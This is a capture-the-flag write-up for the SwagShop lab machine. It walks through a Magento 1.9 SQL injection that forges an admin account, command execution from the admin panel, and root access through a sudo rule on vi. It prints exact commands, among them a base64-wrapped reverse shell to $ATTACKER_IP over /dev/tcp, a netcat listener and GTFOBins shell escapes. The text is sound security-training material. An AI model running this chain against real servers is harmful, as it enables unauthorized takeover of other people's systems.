SwagShop
Summary
I discovered an unpatched Magento Community Edition 1.9 storefront and exploited a publicly documented unauthenticated SQL injection flaw to forge a rogue administrator account without knowing any credentials. With admin access, a second flaw in the Magento admin panel allowed arbitrary OS commands to be executed as the web server user.
A critical sudoers misconfiguration — granting the web server account the right to open files with vi as root, with no password — was then abused using a well-known editor escape combined with path traversal, delivering full root-level access and both flags.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"Attack path — how the box was taken
Exact commands 3
Register the vhost so Magento routing works correctly.
$ echo "$TARGET swagshop.htb" | sudo tee -a /etc/hostsConfirm Magento branding in the page source.
$ curl -s http://swagshop.htb/ | grep -i magentoRead the Magento config — reveals version metadata and sometimes database credentials.
$ curl -s http://swagshop.htb/app/etc/local.xmlExact commands 3
Download the Shoplift PoC from the local Exploit-DB mirror.
$ searchsploit -m 37977Strip malformed comment lines that break Python 2, then set the correct target URL.
$ awk 'BEGIN{p=0} /^import requests/{p=1} p{print}' 37977.py > shoplift_fixed.py && sed -i 's#^target = .*#target = "http://swagshop.htb/index.php"#' shoplift_fixed.py && head -37 shoplift_fixed.py > shoplift_run.pyRun the exploit — on success, prints confirmation that admin <withheld> was created.
$ python2 shoplift_run.pyFixMigrate away from end-of-life Magento 1.9 and apply all security patchesCritical
Exact commands 2
Verify code execution — should return uid=33(www-data) using admin creds <withheld>.
$ python3 magento_rce_requests.py 'http://swagshop.htb/index.php/admin' 'id'Confirm target identity and network configuration.
$ python3 magento_rce_requests.py 'http://swagshop.htb/index.php/admin' 'hostname && ip -4 addr'Exact commands 1
Read the user flag — output will be <user.txt>.
$ python3 magento_rce_requests.py 'http://swagshop.htb/index.php/admin' 'cat /home/haris/user.txt'Exact commands 1
List sudo privileges for www-data — look for NOPASSWD entries involving editors or interpreters.
$ python3 magento_rce_requests.py 'http://swagshop.htb/index.php/admin' 'sudo -l'
(root) NOPASSWD: /usr/bin/vi /var/www/html/* returned by sudo -l for www-dataFixRemove the NOPASSWD sudo rule granting www-data access to viCritical
Exact commands 2
Start the listener on my machine ($ATTACKER_IP) before delivering the payload.
$ nc -lvnp 4444Delivers: bash -i >& /dev/tcp/$ATTACKER_IP/4444 0>&1
$ python3 magento_rce_requests.py 'http://swagshop.htb/index.php/admin' 'echo $(printf %s "bash -i >& /dev/tcp/'"$ATTACKER_IP"'/4444 0>&1" | base64 -w0)|base64 -d|bash'Exact commands 3
Open root.txt via path traversal (vi runs as root), write contents to the web-accessible directory.
$ sudo /usr/bin/vi /var/www/html/../../../../root/root.txt -c ':w! /var/www/html/rootproof.txt' -c ':q!'Retrieve the root flag over HTTP — output will be <root.txt>.
$ curl http://swagshop.htb/rootproof.txtAlternative: drop a full interactive root shell via the GTFOBins vi escape instead of just reading the flag.
$ sudo /usr/bin/vi /var/www/html/anything -c ':set shell=/bin/bash' -c ':shell'Attack patterns used
The transferable techniques behind this compromise.
SQL InjectionWebT1190
What it is
User input is concatenated into a SQL query, letting an unauthorised user alter the query's logic — bypassing authentication, dumping tables (including password hashes), or, with stacked queries / file privileges, writing webshells or executing OS commands. sqlmap automates detection and exploitation across boolean/error/time/union vectors.
Why it works
The root cause is mixing untrusted data with query code instead of using parameterized statements. Remediate with prepared statements/ORM bindings, least-privilege DB accounts, and input validation.
Read more
Sudo Misconfiguration (GTFOBins)Linux · Privilege EscalationT1548.003
What it is
When a low-privileged user is allowed (via sudo -l) to run a specific binary as root, many binaries can be coerced into spawning a root shell or reading root-owned files. GTFOBins catalogs the escape for each binary — e.g. sudo perl -e 'exec "/bin/sh"', sudo vim -c ':!sh', sudo find . -exec /bin/sh \;.
Why it works
Admins grant narrow sudo rights assuming the binary is 'safe', but interpreters, editors, and many utilities have shell-out features. Remediate by avoiding sudo rules on interpreter-class binaries, using NOEXEC, and least-privilege review. Always run sudo -l first on a foothold.
Read more
Exposed services
| 22/tcp | ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0) |
| 80/tcp | http Apache httpd 2.4.29 ((Ubuntu)) |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.